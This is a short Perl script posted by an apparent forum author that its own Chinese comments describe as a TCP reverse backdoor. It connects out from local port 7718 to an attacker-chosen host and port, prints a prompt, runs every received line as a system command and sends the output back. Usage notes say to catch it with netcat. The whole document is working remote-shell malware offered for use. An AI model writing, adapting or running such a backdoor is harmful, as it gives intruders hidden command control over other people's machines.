作者:黑病毒 来自:冰点极限论坛
#!usr/bin/perl -w
use IO::Socket;
$remote_host=$ARGV[0];
$remote_port=$ARGV[1];
$sock=IO::Socket::INET->new(LocalAddr=>INADDR_ANY,LocalPort=>7718,PeerAddr=>$remote_host,PeerPort=>$remote_port,Proto=>'tcp',Type=>SOCK_STREAM,Timeout=>60);
$tips="OK!Input Your Command Now!\n";
$sock->autoflush(1);
$sock->print("$tips");
#读写部分
while(1){
$answer=$sock->getline();
next unless defined $answer;
chop($answer);
if($answer eq 'exit'){
$sock->close;
exit 1;}
open(SHOW,"$answer│");
@c=<SHOW>;
$sock->print("@c\n");
}
#读写部分
close SHOW;
$sock->close;
exit 1;
#TCP反向后门,默认本地端口为7718
#使用NC做客户端
#格式:perl tcpcmd.pl remote_ip remote_port
#切记:必须使用NC作客户端,不要贪方便使用TELNET,否则会造成服务端崩溃(进入S循环)
 |